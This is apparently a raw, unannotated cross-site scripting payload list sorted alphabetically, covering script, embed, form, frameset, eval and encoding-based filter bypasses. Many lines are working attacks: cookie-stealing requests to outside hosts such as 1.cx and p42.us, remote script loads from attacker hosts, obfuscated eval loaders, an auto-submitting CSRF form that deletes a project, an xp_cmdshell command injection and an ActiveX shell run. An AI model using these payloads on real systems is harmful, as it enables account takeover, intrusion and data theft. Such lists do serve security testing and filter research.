document.getElementsByTagName(‘body’)[0].appendChild(frame);
document.location=”http://1.cx/default.aspx?c=" + document.cookie
document.location=unescape(“%19Jav%09asc%09ript:https ://foobar/%250Aconfirm%25281%2529”)
‘},document.location=window.name+’//’+
document.location=window.name+’//’+
document.location=window.name%2b%27//%27%2b
$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)
$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))
\”;document.vulnerable=true;;//
document.write(a);
document.write(doc.documentElement.innerHTML)
document.write(‘<form><input id=p type=password></form>’);setTimeout(“alert(document.getElementById(‘p’).value)”, 50)
“;document.write(‘<img sr’%2b’c=http://p42.us/x.png?'%2bdocument['cookie']%2b'>');"
“;document.write(‘<img src=http://p42.us/x.png?'%2bdocument.cookie%2b'>');"
document.write(‘<img src=”<iframe/onload=confirm(1)>\0">’)
document.writeln(‘<form width=”0" height=”0" method=”POST” action=”’+x+’adminAdvanced.do”>’); document.writeln(‘<input type=”hidden” name=”token” value=”’ + token + ‘“ />’); document.writeln(‘<input type=”hidden” name=”deletebtn” value=”Delete+project” />’); document.writeln(‘</form>’); document.forms[0].submit();
document.write(‘<? oncl?ck=&#97&#108&#101&#114&#116&#40&#49&#41>asd</?>’.toUpperCase()
document.write(“<s”,”crip”,”t>al”,”ert(“,”1)”,”</s”,”cript>”)
document.write(“<scr”+”ipt language=javascript src=http://localhost/></scr"+"ipt>");
document.write(`<script>//# sourceMappingURL=https://pkav/?${escape(document.cookie)}</script>`)
‘document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,115,58,47,47,119,119,119,46,110,48,48,112,121,46,105,111,47,101,118,105,108,46,106,115,39,62,60,47,115,99,114,105,112,116,62))’
document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,115,58,47,47,119,119,119,46,110,48,48,112,121,46,105,111,47,101,118,105,108,46,106,115,39,62,60,47,115,99,114,105,112,116,62))
document.write(String.fromCharCode(60,12,62)); ==== document.write(String.fromCharCode(<script src=http://1.me/1></script>;));
‘document.write(String.fromCharCode(‘+”,”.join([str(ord(n)) for n in payload])+’))’
document.write(String.fromCharCode(‘+”,”.join([str(ord(n)) for n in payload])+’))
 ?<d/ /ondrag=co\u006efir\u006d(2)>hello.
(double reflection, single input $p)
d=x.getImageData(t*3,Y=t*120%82,2,D=3).data
dXJjZSk=
$$=’e’
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
? (%E2%84%AA).toLowerCase() => k
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80confirm(1)%E3%B0%80/script%E3%B8%80
% E2% 88% 80% E3% B8% 80% E3% B0% 80script% E3% B8% 80confirm% 281% 29% E3% B0 % 80 80/script% E3% B8%
(E=[A=[],g=!A+A][g[E=-~-~++A]+({}+A) [C=!!A
(E=[A=[],g=!A+A][g[E=-~-~++A]+({}+A) [C=!!A+g,a=C[A]+C[+!A],A]+a])() [g[A]+g[A+A]+C[E]+a](A)
e; alert(document.cookie); var foo=i
eat backlash: %bb”alert(1) (GBK charset)
echo $_GET[“p”];
echo(‘IPT>alert(“1”)</SCRIPT>’); ?>
echo(‘IPT&gt;alert(\”1\”)&lt;/SCRIPT&gt;’); ?&gt;
<;? echo(‘;<;SCR)’;;
<? echo(‘<SCR)’;
<? echo(‘<scr)’; echo(‘ipt>alert(“1”)</script>’); ?> 
<? echo(‘<scr)’; echo(‘ipt>alert(\”1\”)</script>’); ?>
<? echo(‘<SCR)’;echo(‘IPT>alert(“1”)</SCRIPT>’); ?>
<? echo(‘<SCR)’;echo(‘IPT>document.vulnerable=true</SCRIPT>’); ?>
echo “<script>alert()</script>”
echo “<script>alert()</script>” >> /tmp/bin.bin
echo str_ireplace(“<script”, “”, $_GET[“q”]);
echo str_ireplace(“<script”,”InvalidTag”, $_GET[“r”]);
echo str_ireplace(“<script”,”<InvalidTag”, $_GET[“s”]);
echo str_replace(“ “, “”, $_GET[“q”]);
#eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd
e = document.createElement(‘input’);
e.id = ‘1_content’;
???E??img src=a onerror=javascript:alert(‘test’)>?K???
E”><img src=”x:x” onerror=”alert(0)”>
element[attribute=’<img src=x onerror=alert(‘1’);>
<embed%20allowscriptaccess=always+src=https:html5sec.org/test.swf
<embed allowscriptaccess=”alwalwaysays” src=”test.swf”>
<embed allowscriptaccess=always src=/1.swf><base href=”//l0.cm/
<embed code=evil.swf allowscriptaccess=always>
<embed/code=//goo.gl/nlX0P?
<embed code=”http://businessinfo.co.uk/labs/1/1.swf" allowscriptaccess=always>
<embed code=”http://businessinfo.co.uk/labs/1/1.swf"allowscriptaccess=always>
<embed code=”http://businessinfo.co.uk/labs/1/1.swf" allowscriptaccess=always>?
<Embed code = “http://businessinfo.co.uk/labs/1/1.swf" allowscriptaccess = always>
<embed code=”http://1.cx/1.swf" allowscriptaccess=always></embed>
<embed name=a flashvars=’autoplay=true&file=”})\”)-(alert=alert(1)))}catch(e){}//’ allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
<embed name=’alert(1)-’ allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
<embed onfocus=’popup=1;’><img
<embed/:script allowscriptaccess=always src=//l0.cm/1.swf>
<embed src=/aaa>
<embed src=”data:image/svg+xml;>
<EMBED SRC=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==” type=”image/svg+xml” AllowScriptAccess=”always”></EMBED>
<embed src=”data:text/html;base64,%(base64)s”>
<embed src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
<embed src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></embed>
<embed src=data:textml;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<embed src=evil.swf allowscriptaccess=always>
<embed/src=//goo.gl/nlX0P>
<embed/src=??//goo.gl/nlX0P??>
<Embed / src = // goo.gl/nlX0P>
<EMBED SRC=”http://3w.org/1/1.swf" ></EMBED>
<embed src=”http://excis3.be/bugbounty/evil.js"> ?
<embed src=”http://excis3.be/bugbounty/evil.js">
<EMBED SRC=”http://hacker.com/1.swf" AllowScriptAccess=”always”>
<;EMBED SRC=”;http://ha.ckers.org/1.swf"; AllowScriptAccess=”;always”;>;<;/EMBED>;
<EMBED SRC=”http://ha.ckers.org/1.swf" AllowScriptAccess=”always”></EMBED>
<EMBED SRC=”http://ha.ckers.org/1.swf"AllowScriptAccess="always"></EMBED>
<EMBED SRC=”http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains 1. Click here for a demo. If you add the attributes allowScriptAccess=”never” and allownetworking=”internal” it can mitigate this risk (thank you to Jonathan Vanasco for the info).:org/1.swf”AllowScriptAccess=”always”></EMBED>
EMBED SRC=”http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains 1. Click here for a demo. If you add the attributes allowScriptAccess=”never” and allownetworking=”internal” it can mitigate this risk (thank you to Jonathan Vanasco for the info).:org/1.swf” AllowScriptAccess=”always”></EMBED>
<embed src=https://evil/>
<embed src=”javascript:alert(1)”>
<embed src=javascript:alert(1)> *
<embed src=javascript:alert(1)> 
<embed src=javascript:alert(1)>
<embed src=javascript:alert(162)> 
<embed src=”javascript:alert(1)”></embed>
<embed src=”javascript:alert(1)”></embed> // Firefox only
<embed src=”javascript:alert(1)”></embed> // O10.10, OM10.0, GC6, FF
?embed src=”lol.swf” width=”1337" height=”1337" FlashVars=”param=something&param2=somethingelse&param3=lol”?
<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<embed src=URL onload=alert(‘1’)>
<embed src=/x//alert(1)><base href=”javascript:\
<embed type=”image” src=%(scriptlet)s></embed>
<embed width=500 height=500 code=”data:text/html,<script>%(payload)s</script>”>
<embed width=500 height=500 code=”data:text/html,<script>%(payload)s</script>”></embed>
Ember.run(null, alert, 9)
e.name = ‘c’;
encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)
encodeURIComponent(&#039;userinput&#039;)
encodeURIComponent (‘userinput’)
<![endif] ?
“;escape=eval;//
e.type = ‘hidden’;
eval(0+location.string) //or 1+location.string
eval(0x258da033.toString(30))(1)
eval(“1+1?>”);eval(“1+1</script>”);eval(“1+1//?>”);
eval(1558153217..toString(36))(1)
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
eval(630038579..toString(30))(1)
eval(“ale” + (!![]+[])[+!+[]]+(!![]+[])[+[]])(1)
eval(‘ale’+’rt(0)’);
eval(`${`${`${`${`${`a`}`}`}`}`}${`${`${`${`${`l`}`}`}`}`}${`${`${`${`${`e`}`}`}`}`}${`${`${`${`${`r`}`}`}`}`}${`${`${`${`${`t`}`}`}`}`}${`${`${`${`${`(1)`}`}`}`}`}`)
eval(`ale${[[[[]=[]]=[[]=[]]]=[[]=[]]]=[]}rt(1)`);
eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));
eval.call(this,unescape.call(this,location))
eval(Dec(‘203041263543203’,’2549'));
eval(document.referrer.slice(10));
eval(JSON.stringify({a:1},null,’alert(1)//’))
eval(location.hash.slice(1));
eval(location.hash.slice(1))//
eval(location.hash.slice(1))
eval(location.hash.slice(1)>#alert(1)
“);eval(name+”
“+eval(name)+”
eval(name)
eval+name
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,56,46,110,101,116,47,63,99,61,81,105,104,97,76,34))
eval(String.raw({[`raw`]:`aet(1)`},…`lr`))
eval(String.raw({raw:’aet(1)’},’l’,’r’))
eval(Symbol(‘)-alert(1’).toString())
eval(‘this.a;alert(1);//=”bbb”;’)
eval(‘this.a=”bbb”;alert(1);//”’)
$eval((toString()).constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)) }}
eval(‘\\u’+’0061'+’lert(1)’)
_=eval,__=unescape,___=document.URL,_(__(___))
“;eval(unescape(location))//# %0Aalert(0)
“;eval(unescape(location))//#%0Aprompt(0)
%”;eval(unescape(location))//#%0Aprompt(0)
eval(URL.slice(-8))>#alert(1)
eval(“\x61\x6c\x65\x72\x74\x28\x31\x29a?)
Event.prototype[0]=’@garethheyes’,Event.prototype.length=1;Event.prototype.toString=[].join;onload=alert
Event.prototype[0]=’@garethheyes’,Event.prototype.length=1;Event.prototype.toString=[].join;onload=confirm
Event.prototype.toString=[].join;Event.prototype.length=1;Event.prototype[0]=1;onhashchange=alert;onmessage=alert;
<event-source src=”%(event)s” onload=”javascript:alert(1)”>
evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7 evil](cod)
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’?—?&&
<!?—?#exec cmd=”/bin/echo ‘<SCR’” ?<!?—?#exec cmd=”/bin/echo ‘IPT SRC=http://ha.ckers.org/1.js></SCRIPT>'"-->
<!?—?#exec cmd=”/bin/echo ‘<SCR’” ?<!?—?#exec cmd=”/bin/echo ‘IPT SRC=http://www.securitycompass.com/1.js></SCRIPT>'"-->
<!?—?#exec cmd=”/bin/echo ‘<SCRIPT
<;!?—?#exec cmd=”;/bin/echo ‘;<;SCRIPT SRC’;”; ?;<;!?—?#exec cmd=”;/bin/echo ‘;=http://ha.ckers.org/1.js>;<;/SCRIPT>;';";-->;
<!?—?#exec cmd=”/bin/echo ‘<SCRIPT SRC’” ?<!?—?#exec cmd=”/bin/echo ‘=http://ha.ckers.org/1.js></SCRIPT>'"-->
<!?—?#exec cmd=”/bin/echo ‘<SCRIPT SRC’” ?<!?—?#exec cmd=”/bin/echo ‘=http://1.cx/1.js></SCRIPT>'"-->
<!?—?#exec cmd=”/bin/echo ‘<SCRIPT SRC’” ?<!?—?#exec cmd=”/bin/echo ‘=http://1.ha.ckers.org/a.js></SCRIPT>;'"-->
<!?—?#exec cmd=”/bin/echo ‘<SCRIPT SRC’” ?<!?—?#exec cmd=”/bin/echo ‘=http://xxxx.com/1.js></SCRIPT>'"-->
execScript()
Execute(MsgBox(chr(88)&chr(83)&chr(83)))< 
$ exiftool -Artist=’”><img src=1 onerror=alert(1)>’ FILENAME.jpeg
exiftool -Artist= ><img src=1 onerror=alert(document.domain)> brute.jpeg
‘,expanded:’\x2F’},function(file){path = file;document.getElementById(“pathbox”).value = path;});prompt(document.location);$(‘#fileTreeDemo_1’).fileTree({script:’../../administrator/ajaxtree/jqueryFileTree.cfm?type=dir
exp/*<A STYLE_NeatHtmlReplace=’no\1:no1(“*//*”);1:&#101;x&#x2F;*1*//*/*/pression(alert(“1”))’
exp/*<A STYLE=’no\1:no1(“*//*”);
exp/*<A STYLE=’no\1:no1(“**”);
exp/*<A STYLE=’no\1:no1(“*//*”); 1:&#101;x&#x2F;*1*//*/*/pression(alert(“1”))’>
exp/*<A STYLE=’no\1:no1(“*//*”);1:&#101;x&#x2F;*1*//*/*/pression(alert(“1”))’>
exp/*<A STYLE=’no\1:no1(“*//*”);1:ex/*1*//*/*/pression(alert(“1”))’>
exp/*<A STYLE=’no\1:no1(“*//*”);1:ex/*1*//*/*/pression(document.vulnerable=true)’>
exp/*&lt;A STYLE=’no\1&#58;no1(\”*//*\”);
exppression(alert(“1”))’>
expr\65ssion(alert(1))
expression(alert(‘1’));
expressionG/style=[^<]*((expression\s*?[<]??)|(behavior\s*:))[^<]*(?=\>)/Uis
expression(open(alert(1)))
expression:/style=[^<]*((expression\s*?[<]??)|(behavior\s*:))[^<]*(?=\>)/Uis
expression <style>*{font-family:’Serif}’;x[value=expression(alert(URL=1));]{color:red}</style> 
exp/*<;1 STYLE=’;no\1:no1(“;*//*”;);
exp/*<1 ?STYLE=’no\1:no1(“*//*”); ?
exp/*<1 STYLE=’no\1:no1(“*//*”);
exp/*<1 STYLE=’no\1:no1(“*//*”);1:&#101;x&#x2F;*1*//*/*/pression(alert(“1”))’>
ExternalInterface.call(“console.log”,q);
ExternalInterface.call(“document.write”,”<script>confirm(1)</script>”);
ExternalInterface.call(“eval”,”myWindow=window.open(‘’,’’,’width=200,height=100'); myWindow.document.write(\”<html><head><script src=\’http://1.cx/1.js\'></script></head><body>hi</body></html>\");myWindow.focus()");
ExternalInterface.call(“setTimeout”, ExternalInterface.objectID + ‘_event’ + “(‘“ + eventName + “‘,” + eventValues + “)”, 0);
external.NavigateAndFind(‘ ‘,[],[])
external.NavigateAndFind(‘http://1.cx',[],[])
extra1 <tag extra2 handler=code> extra3
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
extra1 <tag spacer1 handler spacer3 = spacer4 code spacer5 extra2> extra3 (without spacer2)
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
%F6%3Cimg+onmouseover=prompt(/test/)//%F6%3E
( false + ???? )[1] = ??a??
false + ???? = ??false??
[F,A,L,S,E, T,R,U,E] = [!!0] + !0;
[F,A,L,S,E, T,R,U,E] = [!!0] + !0;A+L+E+R+T;
[F,B,Z,S,J, O,W,U,E] = [!!0] + !0;
[F,B,Z,S,J, O,W,U,E] = [!!0] + !0;B+Z+J+W+O;
[F,B,Z,S,J,O,W,U,E] = [!!0] + !0;eval(eval(“window.B+Z+window.J+window.W+O+’(0b10100111001??_?V)
f=document.createElement(iframe);
fetch(‘//0’).then(function(r){r.text().then(function(w){write(w)})})
f=’file=akismet/index.php’
Filename=”<<script>alert(‘1’)<!?—?a ?a.jpg”
[][`filter`][`constructor`](`ale`.concat(`rt\x28`.concat`0\x29`))();//
[].filter.constructor(‘ale’+’rt(4)’)();
Firefox clipboard-hijack without script and css : http://<img alt=”evil/#” width=0 height=0 > 
Firefox cookie 1: with(document)cookie=’????????????????????????????????????’,write(cookie);
FireFox: this[Object[“keys”](this)[5]](1)
firefoxurl:test|”%20-new-window%20javascript:alert(\’Cross%2520Browser%2520Scripting!\’);”
Firefox (\x09, \x0a, \x0d, \x20)
five={{insert(me._nodes.0.scriptprop)}}
flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
flash.external.ExternalInterface.call(alert, 1);
flash.external.ExternalInterface.call(eval, cmd);
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||”javascript:alert(1)”),flash.Lib._root.name||”_top”);
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||”javascript:alert(1)”),flash.Lib._root.name||”_top”)
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
fo.appendChild(i);
fo = document.createElement(form);
fo.elements[0].value=follow;
?FollowSite=0&SiteName=’-confirm(document.domain)-’
font-family:a/**/ression(alert(1))(‘\’)exp\’)
font-family:expression(alert)(1)
“><font size=70 color=red>
<font style=’color:expression(alert(1))’>
<font style=’color:expression(alert(document.cookie))’>
</font>/<svg><style>{src&#x3A;’<style/onload=this.onload=confirm(1)>’</font>/</style>
foo%00<script>alert(document.cookie)</script>
foo\; alert(document.cookie);//;
foo\??; alert(document.cookie);//??;
?foobar=<script>if
foo\i; alert(document.cookie);//i;
<! foo=”[[[Inception]]”><x foo=”]foo><script>alert(1)</script>”>
<! foo=”[[[Inception]]”><x foo=”]foo><script>javascript:alert(1)</script>”>
<! foo=”><script>alert(1)</script>”>
<? foo=”><script>alert(1)</script>”>
</ foo=”><script>alert(1)</script>”>
foo<script>alert(/1-By-Muhaddi/)</script>
foo<script>alert(/1/)</script>
<? foo=”><script>confirm(1)</script>”>
<! foo=”><script>javascript:alert(1)</script>”>
<? foo=”><script>javascript:alert(1)</script>”>
</ foo=”><script>javascript:alert(1)</script>”>
“<foo>” + value + “</foo>”
<! ‘=”foo”><x foo=’><img src=x onerror=alert(2)//’>
<!’=”foo”><x foo=’><img src=x onerror=alert(2)//’>
<?’=”foo”><x foo=’><img src=x onerror=alert(2)//’>
<? ‘=”foo”><x foo=’><img src=x onerror=alert(3)//’>
<% foo><x foo=”%><script>alert(1)</script>”>
<? foo=”><x foo=’?><script>alert(1)</script>’>”>
<? foo=”><x foo=’?><script>javascript:alert(1)</script>’>”>
<% foo><x foo=”%><script>javascript:alert(1)</script>”>
<! foo=”[[[x]]”><x foo=”]foo><script>alert(1)</script>”>
for(;D<15;)C+=!d[D+=4]
for(;D<19;)C+=!d[D+=4]
<foreignObject xlink:href=”data:text/xml,%3Cscript xmlns=’http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E"/>
<foreignObject xlink:href=”javascript:alert(1)”/>
for(i=0; i<targets.length; i++){
for(i=10;i>1;i?—?)confirm(i);new ActiveXObject(“WScript.shell”).Run(‘calc.exe’,1,true);
for(i in{????????????????:0})for(n in{constructor:0})[][?=n][?]
for(i in{????????????????:0})for(n in{constructor:0})[][?=n][?](unescape([…escape(i)].filter((a,b)=>b%12<1|b%12>9?a:0).join([])))()
for(i in{????????????????:0})for(n in{constructor:0})[][?=n][?](unescape([…escape(i)].filter((a,b)=>b%12<1|b%12>9?a:0).join([])))(
for(i in n={????????????????:”constructor”})[][?=n[i]][?]
for(i in n={????????????????:”constructor”})[][?=n[i]][?](unescape([…escape(i)].filter((a,b)=>b%12<1|b%12>9?a:0).join([])))()
for((i)in(self))eval(i)(1)
for(location of [‘javascript:alert(/ff/)’]); 
<formaction=&#039;data:text&sol;html
<formaction=&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;><button>CLICK
<formaction=&#039;data:text&sol;html,<script>alert(1)&lt/script&gt&#039;><button>CLICK
<form/action=’data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt’><button>CLICK
<formaction=’data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt’><button>CLICK
<form/action=’data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt’><button>CLICK // Mario
<form action=’data:text&sol;html,&lt;script&gt;confirm(1)&lt/script&gt’><button>CLICK
<form action=”http://brutelogic.com.br/chall/minified.php" method=”POST” enctype=”multipart/form-data”>
<form action=http://brutelogic.com.br/chall/minified.php method=POST enctype=multipart/form-data>
<form/action=ja&Tab;vascr&Tab;ipt&colon;confirm(document.cookie)><button/type=submit>
<form action=javascript:alert(165)><input type=submit> 
<form action=javascript:alert(1)><input type=submit> 
<form action=javascript:alert(1)><input type=submit>
<form action=”Javascript:alert(1)”><input type=submit>
<form action=”Javascript:alert(1)”><input type=submit> // Firefox, IE
<form/action=javascript:alert(22)><input/type=submit>
formaction=javascript&colon;alert(21)>M
<form/action=javascript&#x0003A;eval(setTimeout(confirm(1)))><input/type=submit>
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type=’submit’>//
//<form/action=javascript&#x3A;confirm&lpar;document&period;cookie&rpar;><input/type=’submit’>//
<form action=”javas&Tab;cript:confirm(1)” method=”get”><input type=”submit” value=”Submit”></form>
<form action=’java&Tab;scri&Tab;pt:confirm(1)’><button>CLICK
form.action = ‘<?php echo $url; ?>’
<form><a href=”javascript:\u0061lert(1)”>X
<form><a href=”javascript:\u0061lert&#x28;1&#x29;”>X
<form><a href=”javascript:\u0061lert&#x28;1&#x29;”>X</script><img/*/src=”worksinchrome&colon;prompt&#x28;1&#x29;”/*/onerror=’eval(src)’>
form.appendChild(e);
<form><button
<form><button formaction=”javascript:alert(1)”>crosssitespt
<form><button formaction=javascript:alert(167)>click 
<form><button formaction=javascript:alert(1)>click 
<form><button formaction=javascript:alert(1)>click
<form><button formaction=”javascript:alert(1)”>//INJECTX
<form><button formaction=”javascript:alert(73)%%0D3C!?—?
<form><button formaction=”javascript:alert(1)”>lol
<form><button formaction=javascript&colon;alert(1)>CLICKME 
<Form> <button formaction = javascript & colon; alert (1)> CLICKME
<form><button formaction=javascript&colon;alert(1)>M
<form><button formaction=javascript&colon;confirm(1)>CLICKME
<form><button formaction=”javascript:javascript:alert(1)”>X
form = document.createElement(‘form’);
<form formaction=popup=1; onclick=popup=1;><object>
<form href=’x’onclick=popup=1;><select>
form.id = ‘form_1’;
<form id=”myform” value=”” action=javascript&Tab;:eval(document.getElementById(‘myform’).elements[0].value)><textarea>confirm(1)</textarea><input type=”submit” value=”Absenden”></form>
<form id=”test” /><button form=”test” formaction=”javascript:alert(1)”>TESTHTML5FORMACTION
<form id=”test” /><button form=”test” formaction=”javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32))”>X
<form id=”test” /><button form=”test” formaction=”javascript:javascript:alert(1)”>X
<form id=”test”></form><button form=”test” formaction=”javascript:alert(1)”>X</button>
<form><iframe &#09;&#10;&#11; src=”javascript&#58;alert(1)”&#11;&#10;&#09;;>
<form><iframe &#09;&#10;&#11; src=”javascript&#58;confirm(1)”&#11;&#10;&#09;;>
<form><iframe src=”javascript:alert(1)” ;>
<form><input formaction=javascript:alert(168) type=submit value=click> 
<form><input formaction=javascript:alert(169) type=image value=click> 
<form><input formaction=javascript:alert(170) type=image src=SOURCE> 
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<form><input formaction=javascript:alert(1) type=image src=SOURCE> 
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<form><input formaction=javascript:alert(1) type=image value=click> 
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=submit value=click> 
<form><input formaction=javascript:alert(1) type=submit value=click>
?</form><input type=”date” onfocus=”alert(1)”>
<form><input type=”image” value=”submit” formaction=//goo.gl/nlX0P>
<form><input type=submit formaction=//1.cx><textarea name=x>
<form><isindex formaction=”javascript&colon;confirm(1)”
<form><isindex formaction=”java&Tab;s&NewLine&cript&colon;confirm(1)”>
form.method=’POST’;
<form method=post action=”//brutelogic.com.br/tests/comments.php”
<form method=post onclick=elements[0].value=outerHTML;submit()>
<form name=location >
<form oninput=alert(1)></input></form>
<form oninput=”alert(1)”><input type=”range”
<form onsubmit=alert(105)><input type=submit>
<form onsubmit=alert(1)><input type=submit>
<form onsubmit=alert(23)><button>M
form.target = ‘frame_1’;
<form><textarea &#13; onkeyup=’\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;’>
<form><textarea onkeyup=’\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;’>
for(n in{constructor:0})[][?=n][?](/alert(1)/.source)()
for([]o\u{66}!\u{61}\u{6c}\u{65}\u{72}\u{74}`1`)\u{66}
For([]o\u{66}!\u{61}\u{6c}\u{65}\u{72}\u{74}`1`)\u{66}
fo.setAttribute(action, profile.php?id=100);
fo.setAttribute(method, post);
fo.setAttribute(target, myFrame);
fo.submit();
four=”{{set(‘insert’,me.root.ownerbody.appendChild)}}”
frame = document.createElement(‘iframe’);
frame.name=’frame_1’;
<FRAMESET><FRAME id=1 SRC=”javascript:alert(‘1’);”></FRAMESET>
<FRAMESET><FRAME id=1 SRC=\”javascript:alert(‘1’);\”></FRAMESET>
<FRAMESET><FRAME RC=””+”javascript:confirm(5);”></FRAMESET>
<FRAMESET><FRAME SRC=”javascript:alert(1);”></FRAMESET>
<FRAMESET><FRAME src=javascript:alert(‘XpSS’)></FRAME></FRAMESET>
<FRAMESET><FRAME SRC=javascript:alert(‘1’)></FRAME></FRAMESET>
<;FRAMESET>;<;FRAME SRC=”;javascript:alert(‘;1’;);”;>;<;/FRAMESET>;
<FRAMESET><FRAME ?SRC=”javascript:alert(‘1’) ?;”></FRAMESET> 
<FRAMESET><FRAME SRC=”javascript:alert(‘1’);”></FRAMESET> 
<FRAMESET><FRAME SRC=”javascript:alert(‘1’);”></FRAMESET>
<FRAMESET><FRAME SRC=\”javascript:alert(‘1’);\”></FRAMESET>
<FRAMESET><FRAME SRC=”javascript:confirm(5);”></FRAMESET>
<FRAMESET><FRAME SRC=”javascript:document.vulnerable=true;”></frameset>
<FRAMESET><FRAME SRC=”javascript:javascript:alert(1);”></FRAMESET>
<frameset><frame src onload=alert(1)>
<frameset><frame/src=//1.cx>
<frameset><frame src=”1”></frameset>
<frameset id=”x”onload=popup=1;>
<frameset onBlur frameset onBlur=”javascript:javascript:alert(1)”></frameset onBlur>
<frameset onFocus frameset onFocus=”javascript:javascript:alert(1)”></frameset onFocus>
<frameset onload=popup=1;>
<frameset onpageshow=”alert(1)”>
<frameset/onpageshow=alert(1)>
<frameset onScroll frameset onScroll=”javascript:javascript:alert(1)”></frameset onScroll>
frame.style=’visibility: hidden;’;
fr = document.createElement(iframe);
fr.setAttribute(name, myFrame);
fr.setAttribute(style, display:none);
f.setAttribute(style,display:none);
f.src=//+targets[i]+/PATH/PAGE?PARAM=<script src=//DOMAIN/12rce.js>;
\);function%20someFunction(a){}prompt(1)//
Function(‘a=`${alert`’,’`}`){‘)()
Function(‘a=alert``’,’’)()
(function(a){alert(1)}).call()
(function({a,b,c}={a:1,b:2,c:3}){alert(`${a},${b},${c}`)})()
Function(‘a=[class A extends Function(‘,’}]){alert(1)’)()
Function(‘){alert()//’, ‘’)();
function() {alert(1)}
function() {alert(1
Function`$${`a${`l${`e${`r${`t${`(${`1${`)`}`}`}`}`}`}`}`}$```
Function`alert(1)```````````
Function(“ale”+”rt(1)”)();
Function{}(‘alert(1)’)``
(function(){alert(9)})()
Function(“a=`”,”`,1=1){alert(1)”)()
functionBody = “with($context){with($data||{}){return{“ +rewrittenBindings + “}}}”;
function(){code}
(function{}).constructor
function document::onreadystatechange(){alert(1);}
(function { eval(‘var a=1’); }); alert(typeof a);
function filter($value) {return preg_replace($this->_expressions, ‘’, $value);
function::[‘location’]=’javascript’’:alert(/FF/)’ 
!function(lol=alert(1)){}()
Function.prototype.toString=Function.prototype.call;”alert(1)//”.replace(“//”,Function)
Function(‘x=alert`1`’,’y’)()
function 1(why,){}//
f=(x=alert(1))=>{}; f();
f=(x=alert(1))=>{};f();
+g,a=C[A]+C[+!A],A]+a])() [g[A]+g[A+A]+C[E]+a](A)
Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,’window’)(),’document’)(), ‘getElementsByTagName’)(‘html’)[0],’innerHTML’)().match(/d.*’/));</script>
gbk chatset:%bb\”alert(1)
Generic Source Breaking
$.get(‘//0’,function(r){write(r)})>
$.getScript(‘//0’)
?getURL,javascript:alert(1)”,
?getURL(javascript:alert(1))”,
#getURL,javascript:alert(1)”,
